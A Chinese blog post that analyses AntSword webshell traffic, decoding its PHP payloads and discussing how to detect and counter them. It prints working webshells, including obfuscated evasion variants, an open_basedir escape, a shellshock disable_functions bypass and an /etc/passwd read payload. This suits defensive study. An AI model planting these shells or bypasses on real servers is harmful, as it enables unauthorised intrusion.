蚁剑-流量分析到反制
本文最后更新于 41 天前,其中的信息可能已经有所发展或是发生改变。

前言

某天看到群友的蚁剑反制,忽然想研究一下蚁剑了,在这里记录一下自己研究学习的心得。

环境

尝试使用 BurpSuite 抓取蚁剑发送流量,所需环境如下:

  • webshell:[POST]127.0.0.1/webshell.php password=1
<?php
	@eval($_POST['1']);
?>
  • 蚁剑,代理设置127.0.0.1,端口8080
  • BurpSuite,代理端口设置8080

User-Agent混淆实现

在早期的蚁剑版本中,User-Agent使用的是antSword/v2.1,容易被WAF标记拦截,于是在之后的版本中修改为随机的User-Agent,在/modules/requests.js中可以进行修改:

let logger;
// 请求UA
const USER_AGENT = require('random-fake-useragent');

// 请求超时
const REQ_TIMEOUT = 10000;

// 代理配置
const APROXY_CONF = {
  mode: 'noproxy',
  uri: ''
}

可以看到新版的蚁剑 require('random-fake-useragent') ,追踪逻辑可以看到是来自GitHub的一个开源项目的数据,逻辑实现是在/node_modules/random-fake-useragent/index.js中:

exports.getRandom = function(browserType) {
	var data = useragents
	if (browserType) {
		data = data[browserType]
	}
	data = flattenArr(data)
	return data.length ? data[randomBetween(0, data.length - 1)] : null
}

这里的useragents则来自/node_modules/random-fake-useragent/data/useragents.json,根据不同的浏览器随机混淆。

蚁剑通信数据

建立连接

通过抓包,发送蚁剑的连接请求,可以拿到以下POST数据:

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.9380d4351%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22e8a8%22.%22f35c%22%3Becho%20%40asenc(%24output)%3Becho%20%22ce89%22.%220bb0%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

解码可得:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split("/;|:/",$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)){
			continue;
		};
		$tmdir=$item."/.9380d4351";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)){
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for($i=0;$i<sizeof($cntarr);$i++){
			@chdir("..");
		};
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	};
};;

function asenc($out){
	return $out;
};

function asoutput(){
	$output=ob_get_contents();
	ob_end_clean();
	echo "e8a8"."f35c";
	echo @asenc($output);
	echo "ce89"."0bb0";
}

ob_start();
try{
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")
		$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/"){
		foreach(range("C","Z")as $L)
			if(is_dir("{$L}:"))
				$R.="{$L}:";
		}
	else{
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;;
}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
};
asoutput();
die();

逐行分析,首先执行了一个类似不死马的操作,不报错且无超时限制。

@ini_set("display_errors", "0");
@set_time_limit(0);

后面的if片段先跳过,到后面两个自定义的函数,返回缓冲区内容到output,并且清除关闭缓冲区,后将缓冲区内容输出:

function asenc($out){
	return $out;
};

function asoutput(){
	$output=ob_get_contents();
	ob_end_clean();
	echo "e8a8"."f35c";
	echo @asenc($output);
	echo "ce89"."0bb0";
}

接着进入try…catch

try{
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")
		$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/"){
		foreach(range("C","Z")as $L)
			if(is_dir("{$L}:"))
				$R.="{$L}:";
		}
	else{
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;;
}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
};

尝试获取当前文件所在目录的绝对路径的目录名称,若获取失败则获取文件目录的基本路径的目录名称,然后获取的加一个TAB赋值给R。

	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")
		$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";

这里通过文件路径头来判断是Windows系统还是Linux系统,如果是Windows则穿越到磁盘根目录,是Linux则定为根目录。

	if(substr($D,0,1)!="/"){
		foreach(range("C","Z")as $L)
			if(is_dir("{$L}:"))
				$R.="{$L}:";
		}
	else{
		$R.="/";
	}

检测是否存在posix_getegid函数,存在则调用posix_getpwuid,返回当前用户的基本信息。最后赋值并输出信息。

	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;;

如果执行失败,则输出错误信息

}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
};

输出缓存并断开连接。

asoutput();
die();

以上是旧版蚁剑的实现逻辑,在新版蚁剑中引入了新的if语句,用来逃逸open_basedir的设置。开发者可能会设置open_basedir,现在有多种逃逸的方式,这里蚁剑使用了chdir()、ini_set()函数组合,穿越目录到根目录。

常见的payload:

ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system(‘cat ../../../../../etc/passwd’);

蚁剑的实现:

$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split("/;|:/",$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)){
			continue;
		};
		$tmdir=$item."/.9380d4351";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)){
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for($i=0;$i<sizeof($cntarr);$i++){
			@chdir("..");
		};
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	};
};;

执行命令

尝试执行命令dir,截获数据包:

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.58faf03957f%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2273aa0d%22.%2298ed53%22%3Becho%20%40asenc(%24output)%3Becho%20%22a1e%22.%22faf1%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22d95d878aa61a2c%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22w6adda4dd7e233%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22rc522ff693b739%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&d95d878aa61a2c=UAY21k&rc522ff693b739=4H&w6adda4dd7e233=cBY2QgL2QgIkQ6XFxwaHBzdHVkeV9wcm9cXFdXVyImZGlyJmVjaG8gNzExODQyZTJkNGMmY2QmZWNobyBlMGRkZDJj

解码$_POST[1]:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split("/;|:/",$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)){
			continue;
		};
		$tmdir=$item."/.58faf03957f";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)){
			continue;
		}
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for($i=0;$i<sizeof($cntarr);$i++){
			@chdir("..");
		};
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	};
};;

function asenc($out){
	return $out;
};

function asoutput(){
	$output=ob_get_contents();
	ob_end_clean();
	echo "73aa0d"."98ed53";
	echo @asenc($output);
	echo "a1e"."faf1";
}

ob_start();

try{
	$p=base64_decode(substr($_POST["d95d878aa61a2c"],2));
	$s=base64_decode(substr($_POST["w6adda4dd7e233"],2));
	$envstr=@base64_decode(substr($_POST["rc522ff693b739"],2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/"){
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	}else{
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)){
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}
	$r="{$p} {$c}";
	function fe($f){
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)){
			$d=array();
		}else{
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	};
	function runshellshock($d, $c) {
		if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
				$tmp = tempnam(sys_get_temp_dir(), 'as');
				putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	};
	function runcmd($c){
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')){
			@system($c,$ret);
		}elseif(fe('passthru')){
			@passthru($c,$ret);
		}elseif(fe('shell_exec')){
			print(@shell_exec($c));
		}elseif(fe('exec')){
			@exec($c,$o,$ret);
			print(join("
				",$o));
		}elseif(fe('popen')){
			$fp=@popen($c,'r');
			while(!@feof($fp)){
				print(@fgets($fp,2048));
			}@pclose($fp);
		}elseif(fe('proc_open')){
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])){
				print(@fgets($io[1],2048));
			}while(!@feof($io[2])){
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		}elseif(fe('antsystem')){
			@antsystem($c);
		}elseif(runshellshock($d, $c)) {
			return $ret;
		}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		}else{
			$ret = 127;
		}
		return $ret;
	};
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";;
}catch(Exception $e){
	echo "ERROR://".$e->getMessage();
};

asoutput();
die();

前面逻辑大致一致,重点在try语句中,先通过POST传入三个随机生成参数名的参数。

	$p=base64_decode(substr($_POST["d95d878aa61a2c"],2));
	$s=base64_decode(substr($_POST["w6adda4dd7e233"],2));
	$envstr=@base64_decode(substr($_POST["rc522ff693b739"],2));

解密得:

$p = 'cmd';
$s = 'cd /d "D:\\phpstudy_pro\\WWW"&dir&echo 711842e2d4c&cd&echo e0ddd2c';
$envstr = '';

其中$p为执行命令用到的解释器,$s为需要执行的命令

接着根据操作系统,选择环境变量

	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/"){
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	}else{
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)){
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}

最后拼接解释器和命令并执行,进行重定向,显示执行后的输出并终止程序。

$r = "{$p} {$c}";

$ret = @runcmd($r . " 2>&1");
print ($ret != 0) ? "ret={$ret}" : "";;
asoutput();
die();

执行命令调用函数rumcmd,先看一下fe函数,它将disable_functions转化为数组,然后判断函数是否存在、是否可调用、是否在disable_function中:

	function fe($f){
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)){
			$d=array();
		}else{
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	};

runcmd函数调用fe对各个命令执行的函数进行检测,如果能执行则执行命令,不能则尝试其他命令执行函数。分别尝试一下系统命令执行函数:

  • system
  • passthru
  • shell_exec
  • exec
  • popen
  • proc_open
  • antsystem

如果这些都不能执行,会尝试调用自己实现的runshellshock 函数或COM类

	function runcmd($c){
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')){
			@system($c,$ret);
		}elseif(fe('passthru')){
			@passthru($c,$ret);
		}elseif(fe('shell_exec')){
			print(@shell_exec($c));
		}elseif(fe('exec')){
			@exec($c,$o,$ret);
			print(join("
				",$o));
		}elseif(fe('popen')){
			$fp=@popen($c,'r');
			while(!@feof($fp)){
				print(@fgets($fp,2048));
			}@pclose($fp);
		}elseif(fe('proc_open')){
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])){
				print(@fgets($io[1],2048));
			}while(!@feof($io[2])){
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		}elseif(fe('antsystem')){
			@antsystem($c);
		}elseif(runshellshock($d, $c)) {
			return $ret;
		}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		}else{
			$ret = 127;
		}
		return $ret;
	};

shellshock是一种利用unix漏洞来bypass disable_function的方法,其他类似bypass disable_Function插件的实现也基于基础上进行扩展。

function runshellshock($d, $c)
{
    if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
        if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
            $tmp = tempnam(sys_get_temp_dir(), 'as');
            putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
            if (fe('error_log')) {
                error_log("a", 1);
            } else {
                mail("a@127.0.0.1", "", "", "-bv");
            }
        } else {
            return False;
        }
        $output = @file_get_contents($tmp);
        @unlink($tmp);
        if ($output != "") {
            print($output);
            return True;
        }
    }
    return False;
}

最后发包,返回命令执行的结果,再渲染到蚁剑的终端。

文件管理

访问目录时,遍历目录下的所有文件并回显

try {
    $D = base64_decode(substr($_POST["o930dff714d3c9"], 2));
    $F = @opendir($D);
    if ($F == NULL) {
        echo("ERROR:// Path Not Found Or No Permission!");
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
            $R = "	" . $T . "	" . @filesize($P) . "	" . $E . "
";
            if (@is_dir($P)) $M .= $N . "/" . $R; else $L .= $N . $R;
        }
        echo $M . $L;
        @closedir($F);
    };
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};

蚁剑部分插件的实现逻辑

Bypass disable_function

前面分析bypass disable_function的文章里已经分析过,这里就不再赘述。

免杀webshell生成

尝试生成PHP马

<?php 
class KACB { 
    function VImC() {
        $Ojuj = "\x6d" ^ "\xc";
        $rPOk = "\x47" ^ "\x34";
        $seXl = "\x5a" ^ "\x29";
        $VmxT = "\xd8" ^ "\xbd";
        $GpAN = "\x4b" ^ "\x39";
        $KOVo = "\x32" ^ "\x46";
        $RnGK =$Ojuj.$rPOk.$seXl.$VmxT.$GpAN.$KOVo;
        return $RnGK;
    }
    function __destruct(){
        $eXCV=$this->VImC();
        @$eXCV($this->go);
    }
}
$kacb = new KACB();
@$kacb->go = isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

尝试了类混淆、异或来进行绕过,在最新版的D盾已不适用。

无上帝兵

不说了,懂得都懂

编码器使用

蚁剑支持使用默认编码器或自定义编码器来编码数据传送的过程,混淆流量。

Base64

rot13

其他默认编码器的原理大致相同

编码器自定义

可以看一下base64编码器的实现逻辑

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';
a
module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`;
  delete data['_'];
  return data;
}

其中pwd是链接密码,data是post的数组,通过随机生成randomID,原有的 payload 在 data[‘_’]中,取出后重新编码存放在data[randomID]中,再在data[pwd]中添加执行的命令。最后删除data[‘_’]。于是返回的data中只存在data[randomID]以及data[pwd]。

编码器的反制

可以看到不论是什么编码器,最后都需要实现【执行】的操作,也就是eval函数,通过对命令函数+解码函数结合的审查方式,可以拦截大部分的蚁剑编码器。

    return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`; // chr16
    return `@eVAl(cHr(${ret.join(').ChR(')}));`;
 // chr
    data[pwd] = `@eval(@base64_decode($_POST['${randomID}']));`; // base64
    data[pwd] = `@eval(@str_rot13($_POST['${randomID}']));`; // rot13

RSA编码器

蚁剑也支持RSA编码器,这里的思路也就是利用非对称加密的方式,先用私钥将传输的内容进行加密,然后传输给shell后,shell通过公钥进行解密,从而实现对流量的混淆,RSA的实现原理在这里不在叙述,但是使用RSA编码器需要前提条件,也就是需要开启openssl模块,不开启该模块无法调用解密函数。

免杀shell:


<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['x'];
$post = &$password;
 
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5ZIPIttsVOX4xU87JOkJCLZNW
g0H7dUdn0WCZofvwB3uWZy4xp7vvFqDkYakhOR0HOhRbLIHFg8gFKhBkJ8eyy78x
kd+L8zxjjUGqEek075VC0Bh7mqwfH5aANpI0LPxxasxq+MCe0OGGhnmI1ZGv/NNy
7zBTkeAIHOoyD/f1eQIDAQAB
-----END PUBLIC KEY-----
EOF;
 
$posts = explode("|", $post);
$pk = openssl_pkey_get_public($pk);
 
$post = '';
foreach ($posts as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $post .= $de;
  }
}
 
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>

解码器

解码器用于绕过WAF对返回流量的追踪和检测(语义分析),实现逻辑跟编码器类似。

base64

/**
 * php::base64解码器
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   */
  asoutput: () => {
    return `function asenc($out){
      return @base64_encode($out);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {Buffer} buff 要被解码的 Buffer
   * @returns {Buffer} 解码后的 Buffer
   */
  decode_buff: (buff) => {
    return Buffer.from(buff.toString(), 'base64');
  }
}

可以看到实现的逻辑是替换流量中的asoutput函数,将返回的数据通过编码器编码,混淆返回的流量。

而其他的解码器类似。

解码器的反制

由于不知道使用的是哪种编码器,反制可能比较不方便,特别是如果业务本身就存在编码的数据交流。我想到的几种反制的方式:

  • 通过多种编码尝试解码,找到有意义的解码方法,分析语境
  • 一般来说这种混淆过的流量虽然能绕过WAF,但是由于异常很难绕过人眼
  • 服务器执行命令的日志检测

但一般来说,如果自定义了多种编码方式套娃,其实很难被WAF所检测

蚁剑反制RCE

最初看到这个话题是在先知社区,然后是校长的pyq,比较有兴趣,看到了松鼠师傅在赛博回忆录发了自己的蚁剑反制分析网站,感觉这个思路比较有意思。

这个思路解决方法更不像是RCE,而是一种钓鱼手段。参考链接,但是目前主程序的反制手段确实是比较少的。

思路

红队反制通常比攻击更加复杂,因为除了找到RCE的方式,还要找到能够钓到红队的方法,松鼠师傅设想了以下场景。

  1. jb小子日站爆目录
  2. 爆到一个shell.php
  3. jb小子一看就知道这是前人的一句话木马,操起蚁剑就想连
  4. 为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上
  5. 好了,jb小子连上了我们的恶意webshell,开启了蚁剑的终端
  6. 一打开终端看到报错,马上点击链接
  7. 渲染恶意页面JS—>RCE

我们的需求:

  1. 获取post过来的数据
  2. 通过正则判断特征,判断是哪一个数据包
